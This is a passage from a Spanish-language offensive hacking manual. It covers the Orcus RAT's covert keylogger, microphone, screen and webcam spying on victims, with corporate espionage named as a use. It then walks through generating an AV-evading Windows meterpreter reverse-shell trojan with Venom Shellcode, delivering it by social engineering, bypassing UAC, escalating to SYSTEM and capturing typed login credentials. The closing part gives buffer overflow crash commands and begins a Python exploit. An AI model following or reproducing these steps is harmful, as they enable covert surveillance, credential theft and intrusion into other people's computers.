Hasta ahora hemos explorado algunas de las categorías más funcionales de Orcus y le hemos
sacado provecho al asunto, ahora es momento de pasar a la que más nos interesa, que es la de
monitoreo o surveillance (vigilancia).

Como es de esperarse en Orcus, tanto las categorías como las funciones de cada una han sido
bastante eficientes y útiles, y obviamente la que estamos por ver no será la excepción. Aquí es en
donde entramos de lleno a fase de vigilancia o “espionaje”, ya que estas acciones lejos de
permitirnos leer conversaciones, encontrar patrones de búsquedas en navegadores web, tomar
capturas de pantalla, etc.
Esto puede llevarse más lejos llegando a lo que se conoce como espionaje corporativo, en donde
se puede obtener información acerca de escritos, descargar información importante que incluso
puede estar clasificada, ya que ocurra esto es demasiado común en el mundo corporativo o
laborar.

Cabe mencionar que esta fase se puede llevar a cabo en distintas formas o rutinas, no
necesariamente como se presentará aquí, ya que si has estas familiarizado con herramientas de
este tipo o algún trabajo similar, podrás adaptarlo al uso con Orcus si así lo prefieres.
Dentro de la Categoría “Surveillance”, nos encontráremos con 4 funciones de monitoreo en
tiempo real:

 Live Keylogger.
 Microphone Recorder.
 Screen.
 Webcam.

Cada una de estas nos provee de funciones distintas que resultan bastante útiles para este trabajo,
comencemos por “Keylogger”. A lo largo del libro COISP nivel 1 se habla sobre estas
herramientas, sin embargo no se toca a detalle su uso mediante RATs o administración remota,
estos pueden funcionar de forma local dentro de un mismo segmento de red o de forma
distante o remota, que es la manera en la que está por llevarse a cabo.

Estos tienen una sola finalidad, capturar los caracteres presionados y guardarlos para
posteriormente ser vistos o enviar esta información en tiempo real como lo veremos aquí. Hay
keyloggers muy simples que solo capturan el texto conseguido por las teclas presionadas, hasta
unos con un nivel de complejidad mayor o demasiado completos que capturan todos los caracteres
obtenidos durante la interacción con el medio HID (Teclado).
Esto con la finalidad de mostrar detalles que nos pueden ser muy útiles en esta acción de
espionaje, como puede ser el sitio web en donde se tecleo esto, el programa sobre el cual se
teclearon estos caracteres, el campo sobre el cual fue ingresada esta info y muchas cosas más,
esto se debe a que el código que constituye este tipo de Keyloggers trabaja a un nivel inferior o
más bajo, por ende, la obtención de todo lo anterior, una cosa muy ventajosa es que además de
todas las funciones antes descritas, estos Keyloggers evitan el LAG o retraso durante la captura
y envío de info así evitando la perdida de la misma, y por supuesto Orcus lo trae consigo.
La primer función o sub-panel con el que nos toparemos será el de “Live Keylogger”, lo
seleccionamos y solo basta con activarlo mediante el ya conocido “Switch” en la parte superior,
una vez habilitado aparecerá la acción en la barra de monitoreo y en el recuadro del Keylogger
la fecha y hora de esta acción, dependiendo de lo que esté haciendo el cliente se enviará en
tiempo real las acciones de este, en el ejemplo se capturo lo siguiente información solo con abrir
el navegador web de Internet Explorer ingresar al sitio de Gmail para loggearse en este (da igual
que navegador o versión de este se use) y por ultimo abrir un bloc de notas y escribir algo en él.
Consulta las imágenes:

Imagen 20.5: Activación de Keylogger.

Estando el “Live Keylogger” habilitado se realizaron las actividades anteriormente descritas, un
detalle que podremos notar en el RAT son las figuras o símbolos de las “teclas función” (las que
no arrojan caracteres) presionadas en el equipo cliente, así como un registro de las aplicaciones
o programas involucrados desde el momento en el que se puso en función el Keylogger, un último
detalle acerca de esto es que no importa si la página en el navegador web usa una conexión
segura o no, ya que el Keylogger solo captura teclas presionadas, y Orcus lo ofusca para que no
sea detectado por firewalls, del lado de Orcus se obtuvo la siguiente información:

Imagen 20.6 y 20.7: Información obtenida gracias al Keylogger.

Como se ejemplificó, el Keylogger que trae consigo Orcus está muy completo, funciona en una
forma bastante simple en la que podamos obtener considerables cantidades de información de
una manera rápida, simple y sigilosa, gestiona la información en una forma en la que se pueda
interpretar mejor y funciona de una forma bastante estable, ahora que ya vimos un simple ejemplo
en un ambiente controlado.

¿Te imaginas lo que puede capturar en escenarios reales en el mundo laboral o durante la infección
de una víctima en específico?
Explorando las demás funciones disponibles en la categoría “Surveillance”, nos encontráremos
con algo bastante llamativo y útil, el “Voice Recorder” (grabador de voz). No hace falta hacer una
descripción de lo que hace o cuál es su finalidad en sí, pero lo que será necesario es explicar sus
2 modos de uso que son con archivo de salida o sin este. Al seleccionarlo aparecerán los
“Recording Devices” (dispositivos de grabación) disponibles en el equipo cliente, puesto a que el
cliente es virtual habrá veces en las que el entorno de virtualización (VMware) no hará posible la
migración de recursos (Hardware/Micrófono) hacia él, por ello es posible que aparezca de esta
forma (Microphone HDAD) de lo contrario se mostrará el modelo de este.
Dentro de las opciones de uso nos topamos con “Bitrate” (velocidad de transmisión), esto definirá
la cantidad de espacio físico que ocupará un segundo de duración de ese audio, en pocas palabras
es la calidad de audio, la que viene configurada por default es de 8192. De los distintos modos
con los que contamos, queda por default el de “Voip” (Voice Over Internet Protocol), que es un
protocolo de comunicación que hace posible que la señal de voz viaje por internet.
En cuanto a los 2 modos de uso, puedes especificar si al final del “Recording” (Grabación) quieras
un archivo de salida de la grabación (Save to file) y guardarlo en un directorio específico (Path),
hecho esto solo presionas “Start Recording” y terminas tu trabajo cuando quieras con el botón de
a lado. Si solo quieres escuchar, bastará con presionar “Start Recording”

Imagen 20.8: Función de activación del micrófono.

La penúltima función es la de “Screen”, simple y sencillamente hace un “Streaming” o transmisión

en tiempo real del “Desktop” del cliente o víctima, como resultado da un “Escritorio Remoto” y al
igual que todas las demás funciones, esta viene muy completa a diferencia de otros RATs.

Dentro la función y su modo de uso podemos configurar los diferentes monitores a replicar o a
hacer “Mirroring”, ya que un equipo puede tener 1 o más monitores conectados, también podemos
establecer la calidad en la que queremos recibir el “Streaming” (mientras más alta más uso de
ancho de banda se hará), los FPS (Frames per second) que tendremos sobre este “Streaming” y
un FullScreen si así lo queremos. En el ejemplo siguiente al iniciar se mostrará en la barra de
monitoreo las acciones relevantes a esta función, como la recolección de “Capture Devices”
(Monitores), numero disponible de estos (1) y el comienzo de la transmisión o “Remote Desktop”
del equipo virtual. Consulta las imágenes:
Imagen 20.9 y 30.0: Función de monitoreo de escritorio.
 EXTRA: Exploiting con Venom
Shellcode Generator.
Previamente habías realizado un ejercicio de cómo generar payloads en Python para poder
comprometer un sistema informático, en este caso harás binarios (.exe) maliciosos que al
momento de ejecutarse en el equipo objetivo, realizan la inyección de código arbitrario en la RAM
del sistema, con la consecuencia de que tal sistema sea comprometido de forma completa o
parcial, en esta última es donde se lleva cabo la escalada de privilegios para poder realizar más
tareas de post-explotación sobre el equipo. El detalle es que la generación de RATs (Remote
Access Trojans) con algunas otras herramientas no es tan discreta que con Venom Shellcode, el
cual genera payloads en distintos formatos (Python, C, Ruby, Exe, DLL, BAT, .JAR (Java), PDF,
etc) los cuales llevarán consigo potentes troyanos que resultan bastante perjudiciales para el
equipo víctima.
En la siguiente demostración ejemplificaré como conseguir la explotación de un sistema con
plataforma Windows, en este caso será con Win 10, cabe mencionar que los payloads generados
para Windows funcionan para los más modernos y comunes (Win Vista, 7, 8 y 8.1)

Lo que necesitarás para este ataque.

 Una Distribución para pentesting actualizada, recomiendo Parrot 3.1 o 3.2, Kali 2016.1 ó
2016.2, ya que las anteriores puede que no cuenten con las dependencias que usa Venom
Shellcode.
 Un equipo Windows en el mismo segmento de red que tú maquina atacante, ya sea virtualizado
o físico, en este ejemplo usaré uno virtualizado.
Obtención de Venom Shellcode.

Al igual que con otras herramientas que he demostrado, Venom Shellcode no viene precargada
en las distros para pentesting más populares, por lo que habrá que descargarla e instalarla por
nuestra cuenta.
Entra a este URL para descargarlo:
https://sourceforge.net/p/crisp-shellcode-generator/shell/ci/master/tarball
También puedes descargarlo mediante el comando “git clone”, ejecutando: git clone
http://git.code.sf.net/p/crisp-shellcode-generator/shell crisp-shellcode-generator-shell

Lo cual realizará la descarga en nuestra máquina atacante, en donde navegaremos al lugar donde
reside su descarga: “/root/shell/”, dentro se halla otro directorio nombrado “aux” el cual contiene
el archivo para iniciar la instalación, (setup.sh), establecemos una configuracion con chmod +x
*.sh y después ejecutamos el archivo .sh:

Imagen 1.1: Descarga de Venom Shellcode

Al iniciar, realizará la búsqueda y Checking de las dependencias para que funcione, en donde
seguirás los pasos de la instalación para poder completarla, no toma más de 5 min.
Una vez ya instalado, navegamos al directorio “/root/shell/” y desde ahí iniciaremos a Venom
Shellcode, ejecutando el comando “./vemom.sh”:

Imagen 1.2: Directorios de Venom Shellcode

Al iniciar se realizará de nuevo el Checking de las dependencias e iniciará el Banner donde se muestra
un listado con varias columnas, indicando que se codificará, el objetivo con el que funciona, con que
se compilará y el formato final del payload:

Imagen 1.3: Listado de Shellcodes por generar

Del listado, seleccionaremos la opción número 6, la que funciona para plataforma Windows,
funciona mediante powershell y será generada como un .exe
Seguido de esto, estableceremos la configuracion del payload que generará, esto comenzará al
ingresar el número correspondiente de la lista:

Imagen 1.4: Ingreso de tipo de Shellcode por generar.

Lo primero que tendrá que configurarse será el Host al que el payload establecerá el canal de
comunicación para interactuar con el equipo comprometido, es decir, “LHOST”, que es
donde ira la dirección IP de nuestra maquina atacante:

Imagen 1.5: Ingreso de LHOST

Luego tendremos que configurar el puerto que estará a la escucha de dicha conexión, “LPORT”,
en este ejemplo se usara el 556, tú puedes configurar algún otro puerto de tu preferencia.

Imagen 1.6: Selección de Puerto

Ahora lo siguiente será escoger el payload de tipo “Staged” que será el que desde la maquina
victima trabajará en conjunto con el Framework de Metasploit en nuestra maquina atacante. El
payload que escogeremos será “windows/meterpreter/reverse_tcp” el cual funcionará como un
shell inversa que se nos devolverá al momento de la ejecución del binario malicioso en el quipo
objetivo:
 Imagen 1.7: Selección de payload

Por ultimo escogeremos el medio por el cual se establecerá el enlace de comunicación al momento
de que el payload se ejecutado, ya sea un handler o un enlace malicioso, en este caso se usará
la primera opción, el Handler, el cual es un exploit que al momento de usarlo estará a la escucha
de los exploits ejecutados por fuera de Metasploit, es decir, mostrará los stage o conexiones
creadas por estos troyanos o exploits ajenos al framework, en donde este trabajara en conjunto
con el binario malicioso:

Imagen 1.8: Selección de método de conexión

Al escogerlo se mostrará la información acerca de lo que se ha generado y detalles sobre esto:

Imagen 1.9: Detalles del Shellcode Generado

Asi como también se inicializa el framework de Metasploit por consola de comandos,
estableciendo de forma automática el Handler y el payload de tipo Stager:

Imagen 2.0: Metasploit iniciado automáticamente

NOTA: Para esta demostración no harás uso de Metasploit por este medio, ya que las fallas son
algo común al momento de enviar exploits, hacer uso de auxiliaries, encoders o shells, en
cambio, lo iniciaré por mi cuenta desde una nueva terminal de comandos, simplemente
ejecutando “msfconsole”:

Imagen 2.1: Inicio de Metasploit por nuestra cuenta.

Estando dentro, haremos uso de un exploit (handler) para que haga la función antes descrita,
después colocaremos un payload de tipo Stager trabajando desde Metasploit, lo que hará este
será establecer una conexión con el payload de tipo “Staged” que es el que está en el Troyano
que generamos, al momento de que este se ejecute en el equipo víctima, se devolverá una shell
inversa a nuestra maquina atacante, ya que ambos payloads están trabajando en conjunto, puesto
a que es el mismo tipo de payload, solo que uno trae la shell inversa esperando a ser lanzada y
otro establece la conexión con el troyano, asi otorgándonos la shell de Meterpreter para asi poder
interactuar de forma remota con el equipo comprometido. Para configurar esto, haremos uso del
exploit del handler (multi/handler), después seleccionaremos el payload
(windows/meterpreter/reverse_tcp), e ingresaremos las mismas variables de LHOST y LPORT
que al principio, ya que estos payloads trabajarán de forma síncrona y ejecutamos el comando
“exploit”, para que el handler y el payload comiencen sus funciones en el Framework:

Imagen 2.2: Configuracion de Handler y Payload en Metasploit

Al terminar eso, solo hace falta llegar el troyano al equipo víctima y conseguir que sea ejecutado,
para esto puede que se requiera algo de ingeniería social. La ubicación del binario es
“/root/shell/output”:

Imagen 2.2: Ubicación de Binario Generado

Ya que sabemos dónde se encuentra solo falta hacerlo llegar a la víctima, ya sea por e-mail, vía
multimedia, o algún otro medio.
Antes de continuar, no está demás verificar que tan “discreto” es el malware que se ingresará al
equipo objetivo, para esto haremos un análisis en un sitio web que escanea archivos con la
ayuda de 35 software AV para mostrar resultados y compararlos, esto se hará desde
https://nodistribute.com/, donde nos mostrará resultados bastante sorprendentes, al arrojarnos
el dato de que solo 2 de 35 software de protección notaron algo sospechoso en su código,
esto quiere decir que resulta perjudicial o amenazante para solo el 6% del software que contiene
la plataforma de escaneo, lo que para nosotros es bastante ventajoso:

Imagen 2.4: Resultados de No Distribute.

Ahora que sabemos que puede hacer bypass o evasión de más de 30 AV´s destinos, podemos
hacerlo llegar al equipo objetivo y conseguir que sea ejecutado:

Imagen 2.5: Binario Transferido

Una vez que se consiga esto, en Metasploit aparecerá el envió de petición hacia la dirección
donde se ejecuta el troyano, devolviéndonos asi la shell inversa antes configurada y obteniendo
la sesion de Meterpreter, lista para ejecutar comandos sobre el equipo ajeno:

Imagen 2.6: Sesion Meterpreter conseguida

Una vez dentro podremos ejecutar múltiples comandos para obtener información diversa acerca
del equipo, por ejemplo con los comandos “sysinfo” y “getuid” podremos saber detalles acerca
del sistema en donde estamos (intrusión) y el otro para saber el nombre del usuario:

Imagen 2.7: Detalles acerca de Sistema vulnerado y Tipo de Usuario.

Ahora que sabemos el User ID, podemos notar que no tenemos carácter administrativo sobre este
sistema, asi que haremos una escalada de privilegios para conseguir esta, la cual también se
demostró en previos post que h realizado, haciendo bypass del UAC mediante algo de Powershell.
Antes de hacer esto haremos una migración a un proceso que este corriendo actualmente, esto
con el fin de que no se pierda la conexión en caso de que la persona borre o cierre el binario
malicioso. Después haremos un background de la sesión para tenerla trabajando en segundo
plano y asi volver a msfconsole, desde donde haremos uso del exploit para hacer bypass de UAC,
colocando en este la sesion en la que nos encontramos (1) y la técnica de inyección de código:
PSH (Powershell), al lanzarlo se deshabilitará el UAC y abrirá una sesion de meterpreter nueva:

Imagen 2.8: Migración de procesos y Bypass de UAC con Powershell

En esta nueva sesion ejecutaremos de nuevo el comando “ps” para en listar los procesos y
migraremos a alguno que tenga la característica “NT AUTHORITY\SYSTEM”:
 Imagen 2.9: Migración a un proceso de carácter administrativo.

Una vez hecho esto, ejecutamos el comando “getprivs” para enlistar os privilegios con los que
contamos actualmente en este sistema, en donde se enlistaran 22 privilegios, si ejecutamos de
nuevo el comando “getuid” aparecerá la etiqueta “NT AUTHORITY\SYSTEM”, y si también
ejecutamos el comando “getsystem” aparecerá que se obtuvo previamente mediante la técnica
que se describe seguido a la derecha:

Imagen 3.0: Privilegios conseguidos

Ahora, como ya se sabe, tenemos 2 sesiones meterpreter abiertas, para ver el listado de estas y
sus detalles, se hace un background de la sesion actual y en msfconsole ejecutamos “sessions -
l”, donde vemos que una sesion contiene privilegios de usuario local y otra con privilegios
administrativos, que es la que usaremos, para volver a la sesion, se ejecuta el comando “sessions
–i #número de sesion que quieres”:

Imagen 3.1: Listado de Sesiones Meterpreter

Ahora, haremos una tarea de post-explotación, haciendo uso de un “keysniffer” para capturar
teclas presionadas en este equipo comprometido, usando el comando “keyscan_start” para iniciar
este sniffer, una vez que queramos hacer el volcado de la información que capturó ejecutamos el
comando “keyscan_dump”. Seguido de eso, dentro de un Doc. De Word nombrado Testing
Shellcode, se ejemplificará un escrito para demostrar el uso del Keylogger:

Imagen 3.2 y 3.3: Inicio de Keysniffer y creación de Doc.

 Imagen 3.4y 3.5: Escrito hecho y volcado de información.

Ahora lo intentaremos con el formulario de Loggeo en una Página Web, no importa si usa una
conexión segura o no, ya que el sniffer solo captura teclas presionadas, ya que Metasploit lo
ofusca para que no sea detectado por firewalls en equipos o sitios web, como es el caso de
Instagram, en donde ingresarás un usuario y password ficticios, teniendo corriendo al
keylogger/sniffer en Metasploit:

Imagen 3.6: Usuario y password ingresado en Instagram.

Por otro lado, en Metasploit, haremos el volcado de la información capturada por el “keysniffer”:

Imagen 3.7: Volcado de info capturada por keysniffer.

¿Cómo funcionó esto con Venom Shellcode?
Este script utiliza msfvenom (Metasploit) para generar código shell en diferentes formatos (c,
Python, Ruby, DLL, PSH | vbs, php, Java) luego inyecta el Shellcode genera en el archivo de
salida que corresponda, en este caso fue un binario ejecutable, el código malicioso se ejecutará
en la RAM, asi como también se inyecta un payload que trabajará en conjunto con Metasploit para
establecer una conexión entre el payload que reside en el equipo víctima y el payload que está en
el framework de Metasploit.
Después evadimos el UAC mediante el uso de PSH y luego logramos la obtención de información
sensible gracias a las tareas de post-explotación.
 Exploit Development (Desarrollo
de exploits).
En el capítulo anterior nos familiarizamos bastante con el uso de RATs para poder
monitorear/controlar algún equipo Windows de forma remota, sin importar el lugar de conexión del
objetivo, así como también pasamos por una breve descripción del source-code que lo constituye.
Ahora, subiendo un escalón más y aumentando el nivel de dificultad, te ensuciarás las manos
con algo de desarrollo (developing), programando las aproximaciones hacia objetivos que cuentan
con una o varias vulnerabilidades en específico.
La formulación de exploits (o Exploit developing) es el proceso que consiste en la creación
de exploits, a lo largo de este tercer capítulo te encontrarás con múltiples vulnerabilidades y harás
el “developing” de los métodos de aproximación para estas en Metasploit y finalmente
conseguirás explotarlas. Para esto, tendrás que hacer uso de una diversa gama de herramientas
que te servirán de apoyo para lo anterior.
Todo esto tiene una finalidad, aprovecharnos de errores de seguridad (security flaws) o
vulnerabilidades que existen en algún recurso informático, puesto a que existen miles de exploits,
cada uno tiene su finalidad o propósito como lo puede ser el causar un overflow, hacer un bypass,
realizar una inyección de código o hasta comprometer un sistema en su totalidad.

Al finalizar este capítulo habrás aprendido lo siguiente:

 Como el lenguaje ensamblador se involucra en la creación de exploits.

 Parámetros a considerar durante el desarrollo.
 Fases de la formulación de un exploit.
 Creación de exploits dentro del Framework de Metasploit.

NOTA: Para que puedas tener una comprensión total de que es lo que viene más adelante en este
capítulo debes contar con conocimientos básicos del lenguaje ensamblador, de lo contrario puede
que se te topes con algunas complicaciones, así que veremos unos aspectos básicos sobre este
y cuál es la importancia que tiene en el desarrollo de exploits.

En el libro COISP 1 podrás encontrar información más a detalle sobre lenguaje ensamblador en el
capítulo de Cracking.
Aspectos básicos.
Es importante cubrir algunos conceptos necesarios para poder comprender mejor la creación de
exploits y en que consiste, los siguientes conceptos se aproximan al tema de en la formulación de
exploits en aspectos de seguridad relacionados con Hardware y Software:

 Register (Registro): es un área del procesador que se utiliza para almacenar información,
cada proceso que se ejecuta en el procesador es en base al registro, un ejemplo de ello
fue en el capítulo anterior indicando esta función en el RAT.

 Debugger: Es un software que “depura” otro programa en tiempo de ejecución para

esto puede tener distintas finalidades, como entender a detalle su funcionamiento,
encontrar los diferentes problemas que un programa puede enfrentar durante su ejecución
o para analizar una muestra de malware como se verá en un par de capítulos más.
Básicamente su utilidad es mostrar las instrucciones del programa, el estado de los
registros y la memoria. Los debuggers más utilizados son: Immunity Debugger, GDB y
OllyDbg.

 ShellCode: Es el código que se ejecuta después de la explotación exitosa del objetivo es

llamado ShellCode, Habrá veces que la finalidad de la explotación será la obtención de
esto.

 Llamadas de sistema (System Calls): Estas son llevadas a cabo un método de nivel de
sistema invocado por un programa en ejecución.

 x86: Esta es una familia de arquitecturas de que se principalmente son encontradas en

sistemas de Intel, se refieren a los sistemas de 32-bits mientras que los x64 a los de 64-
bits.

 Buffer: Es un soporte de memoria fijo en un programa, y generalmente almacena

datos o información en una pila dependiendo del tipo de memoria que contenga.

 Buffer Overflow: Esto generalmente significa que hay más datos suministrados en la pila
o en el buffer que los que este puede contener, si esto desborda, puede ocasionar el
“Crash” de un programa o simplemente un DoS.
Registros.
Estos son los encargados de llevar a cabo casi todas las funciones en el sistema, ya que contienen
todas las instrucciones a ser procesadas. Comúnmente hacemos referencia alguno de ellos por el
tamaño de memoria que pueden contener (Holding 8 to 32-bits), los registros son componentes
de memoria muy veloces, algunos tipos de estos son los de tipo Index, de propósito general, de
segmento y EFLAGS, veamos algunos de ellos:

 ECX: Este es utilizado para hacer ciclos, funciona como un contador.

 EDX: Funciona como u registro de datos,
 EAX: Este es un acumulador, su finalidad es almacenar datos y operadores.
 EIP: Es un apuntador de instrucciones, este guarda la dirección en donde se ejecutará
la próxima instrucción.
 ESP: Funciona como un apuntador de pila (stack).

El siguiente ejercicio hará énfasis en los últimos 2 registros, estos son los que trabajan
directamente con pilas, y apuntadores de instrucciones, sabiendo esto vamos a crear 2
programas; uno que será la aplicación vulnerable, y otro que se aproveche del código de esta y
haga cambios con los registros.

¿Qué significa esto?

Comprendido lo anterior, podemos explotar un recurso informático sobrescribiendo el valor del

stack en el registro ESP, y sobrescribir el valor de la dirección de instrucciones en el registro EIP.
Todos los registros anteriores tienen un tope máximo de memoria de 32-bits.

Nuestra primera aproximación: Buffer Overflow.

Como fue mencionado anteriormente, este consiste en el desbordamiento de datos que contiene
una pila, generalmente llevando al Crashing de la aplicación o servicio, alguna vez habrás lanzado
exploits que tengan la finalidad anterior, sin embargo, ¿Te has preguntado cómo es que hacen
su trabajo?

Bien, aquí tendrás tu primera aproximación en el tema de cómo es que se formula un exploit de
este tipo, asemejándonos al funcionamiento de uno de ellos. Lo que harás en este primer ejercicio
será compilar un programa y en base al código proporcionado para este, explotar el fallo o
vulnerabilidad que se halla dentro.

Haremos énfasis en hacer “Crashear” una Aplicación y saber sobre que circunstancias ocurre esto,
con la finalidad de poder saber comprender y analizar las modificaciones que se tienen que realizar
para conseguir lo anterior.
Como previamente se comentó acerca de los registros, EIP y ESP pueden resultar afectados
cuando se les proporciona a estos una cantidad de datos lo suficientemente grande para poder
ocasionarles un overflow, así que lo que se hará será compilar un programa que usará buffers y
le ocasionaremos un Crash. Pero antes cubrirás algunos conceptos importantes para que
entiendas cuál es su lugar en los programas y como es que se involucran en una vulnerabilidad
de este tipo.

Lo que necesitarás:

 Windows 10
 Parrot Security OS

Teniendo esto, usarás un bloque de código llamado “bof-server”, se te proporcionó en el material

para este libro, este se encuentra en el folder correspondiente a este capítulo.

El programa al que nos referimos está hecho en C, lo verás en la sintaxis en un momento, ahora
lo que harás con este código será compilarlo, para esto usaremos un compilador de C, en este
caso será LCC Compiler que también viene incluido en el material correspondiente a este capítulo,
aunque también puedes descargarlo por aquí: https://lcc-win32.en.uptodown.com/windows
Antes de continuar habrá que hacer una pequeña configuración en el equipo Windows, siendo
esta la habilitación del cliente Telnet. Esta función nos permitirá interacción local remota entre
Windows y Parrot, lo que la lleva ser la interprete para explotar la vulnerabilidad del código.

Para esto solo basta con seguir los pasos siguientes:

 Hacer clic derecho en Windows, seleccionar la opción “Programas y características”

 Con esto ingresaremos al panel de control, en la parte superior izquierda veremos la opción
“Activar o desactivar características de Windows”.
 Aquí colocamos un “check” a “Cliente Telnet” y hacemos clic en Aceptar:

Imagen 30.1: Habilitación de cliente Telnet.

Teniendo esto configurado y haber hecho la instalación de LCC Compiler lo abriremos. Hecho
esto, buscamos el archivo que contiene el código en C, esto desde el menú desplegable “File” y
seleccionado la opción “Open”.
Una vez localizado lo abrimos y veremos una ventana con el código siguiente:

Imagen 30.2: Código visualizado por LCC Compiler.

Puedes sentirte libre de leer o inspeccionar el código de este programa si así lo quieres. LCC
Compiler pide la creación de un proyecto por cada file que se quiera compilar, por lo que habrá
que hacer esto, para conseguirlo más rápido, basta con seleccionar la opción “Compile” que
aparecerá antes del nombre del File actual, al finalizar aparecerá un mensaje indicando el tiempo
que tomó, todo esto se hace desde el menú “Compiler”:

Imagen 30.3 – 30.5: Código compilado y directorio de aplicación.

Ahora que finalizó la compilación y ya teniendo el programa, pasaremos a probarlo nosotros

mismos, sin involucrar el uso de demás software para conseguir el error interno de la aplicación.
Dentro de CMD, ejecutamos el siguiente comando:

 “C:\ (lugar donde resida tu archivo .exe)> bof-server.exe “Puerto preferencial”

Lo que esto hará será hacer una llamada al programa y establecer algún puerto que usará el
programa para funcionar, este puede ser de nuestra preferencia, en este caso se usó el 200.
Luego de la ejecución de este primer comando haremos una segunda, ahora usando a la función
“Telnet” para poder conectarse al puerto escogido, para ello basta con ejecutar en una nueva
terminal este comando con la siguiente sintaxis.

 “telnet localhost (puerto escogido)”

Hecho esto obtendremos lo siguiente:
1) Lo primero es poner en función el binario en el puerto asignado.
2) Hecho esto, en otra terminal conectamos con el puerto asignado mediante Telnet.
3) Al conseguir eso, veremos en la primera terminal un banner que indica la conexión.
4) Volvemos a la segunda terminal y tendremos una Shell para ingresar datos.

Imagen 30.6 – 30.9: Proceso de conexión por Telnet a la Aplicación.

Dentro de esta Shell de Telnet, pondremos en función la finalidad del programa y de los registros
EIP y ESP, que son el almacenar datos en una pila y el otro apuntar direcciones de
instrucciones. Sabiendo esto ingresaremos caracteres aleatorios en el input en 3 intentos.
Durante los 2 primeros no ha pasado nada, en cambio, en el tercer intento ingresaremos los
suficientes caracteres con el fin de conseguir el cierre de la aplicación, gracias al Buffer-overflow
que ocasionamos. Como se puede ver, un mensaje de error fue generado por Windows, en
donde indica que la aplicación tuvo un fallo durante su funcionamiento.
 Imagen 31.0: Desbordamiento conseguido.

Hasta ahora hemos sobrescrito los valores del registro ESP que es el que trabaja con el stack
(pila), consiguiendo así el Crashing de la aplicación y por ende su cierre total.

Pero esto lo hemos hecho sobre la misma aplicación, así que es momento de hacerlo de forma
remota desde otra máquina que se halle en el mismo segmento de red que la máquina atacante,
la cual será la que contenga la distro de Parrot Security OS.

Aquí es donde crearemos un file con Perl el cual contendrá un número específico de caracteres
aleatorios.
Estando en Parrot abriremos una terminal y ejecutamos el siguiente comando:

 perl -e ‘print’ “LOL” x 300 , “HM” x 300’ > crash.txt : Este creará un script que imprima
los caracteres “LOL” y “HM” 300 veces cada uno:

Imagen 31.1: Código en Pearl para desbordar la pila.

Teniendo en cuenta que la aplicación tuvo un fallo al ingresar alrededor de 300 caracteres
en una sola instancia.

La diferencia que harás con esto es que te has deshecho de la parte manual de hacerlo todo en
la propia maquina Windows en donde corre la aplicación, ahora solo bastará con que hagas una
conexión Telnet desde Parrot mientras la aplicación esté en función en el Host Windows, para esto
volverás a ejecutar el primer comando de la lista (bof-server.exe 200).

Luego de que se haya puesto el programa a trabajar sobre este puerto o el que se haya
seleccionado, pasarás a ejecutar el siguiente comando en Parrot:

 telnet “Dirección IP del Host que contenga la Aplicación” “Puerto” <Crash.txt

Imagen 31.2 y 31.3: Overflow conseguido desde Parrot.

Al momento de que se haya llevado a cabo la ejecución, inmediatamente aparecerá un banner en

la terminal de Parrot indicando la conexión exitosa y otro indicando que esta conexión fue
cerrada por el host remoto (Windows).
Pasando al lado de Windows, nos encontraremos con el mismo error de fallo en la aplicación,
el que se ocasiono debido a la sobre escritura de valores en el registro ESP, gracias a que tú
hiciste un Buffer-overflow en el. Además, se puede ver los diferentes registros de conexión y
desconexión de Telnet, debido al Overflow ocasionado un par de veces por este método, otra forma
en que se puede manifestar la desconexión es que en la terminal aparezca un banner indicando
la finalización anormal del programa:

Imagen 31.4 y 31.5: Verificación del Crash del programa.

De forma clara y concisa se vio como es que se puede ocasionar un desbordamiento de pila
(Overflow/ Stack-overflow) mediante la sobre escritura de los valores que existen en un registro,
siendo este el ESP (Stack Pointer), y después perjudicando al registro EIP (Instruction Pointer)
en donde se ubica la dirección de instrucciones donde se halló el Crash. Siendo esta la dirección
en la aplicación que no supo cómo y hacia donde proceder, terminando en el cierre del programa.
Con esto podemos llevar las cosas un poco más lejos y adentrarnos más en terreno de Lenguaje
ensamblador y Debuggers para desarrollar un bloque de código más completo que también nos
permita conseguir la explotación en de un programa.

La segunda aproximación: Buffer Overflow mediante Python y uso de Immunity

Debugger.
En el ejercicio anterior se demostró y ejemplifico una vulnerabilidad de tipo BOF (Buffer-overflow)
en donde creamos un programa vulnerable en C el cual solo aceptaba la entrada de caracteres,
sin embargo, el fallo estuvo en que si se rebasaba el tope o la cantidad máxima de datos que
podía contener la pila, a esta le ocurría un desbordamiento.

Utilizamos 2 formas distintas para explotar esto y conseguir el fallo de la aplicación, una era
interactuar directamente con el programa y simplemente ingresar caracteres de más dentro de él,
y la otra era que desde Parrot se hiciese el envío de un script en Perl que imprimía 600 caracteres
al momento de ejecutarse, consiguiendo así el Crash de la aplicación de forma remota,
aproximándonos cada vez más a la formulación de un exploit. Ahora en esta nueva prueba,
trabajarás con una Aplicación auténtica la cual cuenta con una vulnerabilidad de este tipo, solo
que un poco más compleja de explotar. Una vez que consigas el primer medio de explotación,
pasarás a utilizar un Debugger (Depurador) sobre la aplicación, esto tiene como final el que
comprendas más a detalle este fallo, utilizando como interprete o depurador a Immunity
Debugger, entendiendo así las instrucciones involucradas y registros afectados por esta
vulnerabilidad y su explotación.

Como ya se sabe, esto también se consigue mediante la ejecución remota de código, ahora
utilizaremos a Python para hacer el compilar el código que consiga afectar la aplicación, una vez
que consigas esto y hayas utilizado el Debugger para interpretar de mejor forma este Crashing del
programa, harás uso de una librería en Python para la escritura de exploits. Dentro del
repertorio de material correspondiente a este capítulo, encontrarás una carpeta nombrada “BOF
No. 2”, dentro viene lo necesario para poder completar este ejercicio:
Antes de comenzar habrá que instalar un par de cosas para poder completar esta prueba, realiza
estas instalaciones dentro de tu equipo Windows en el siguiente orden:
1) Python- 2.7.13: Es el lenguaje que usaremos y sobre el que vamos a compilar el exploit.

Imagen 31.6: Instalación de Python.

2) Immunity Debugger 1.85: Este es el software depurador que se usará en esta prueba,
requiere la instalación de Python.

Imagen 31.7: Instalación de Immunity Debugger.

3) Mini-streamRM-MP3Converter: Este es el programa sobre el que trabajarás, este cuenta

con o contiene el fallo de seguridad tipo “BOF” del cual te aprovecharás. Cuenta con un
periodo trial de 30 días, suficiente para que realices el ejercicio y las pruebas que quieras:

Imagen 31.8: Instalación de software vulnerable.

Una vez que esté listo lo anterior, abriremos el IDLE de Python (GUI) para comenzar nuestra
aproximación, una vez dentro del IDLE abriremos un nuevo archivo desde el menú “File”, en la
opción “New File” y seguiremos los siguientes pasos:

Imagen 31.9: IDLE de Python.

 Imagen 32.0: Python.

 Al hacer esto se abrirá una nueva ventana, en donde escribiremos el código de abajo,
terminado, lo guardamos con el nombre y en el lugar de nuestra preferencia desde el menú
“File”, consulta la imagen:

primeravariable= "HackingMexico"*17890

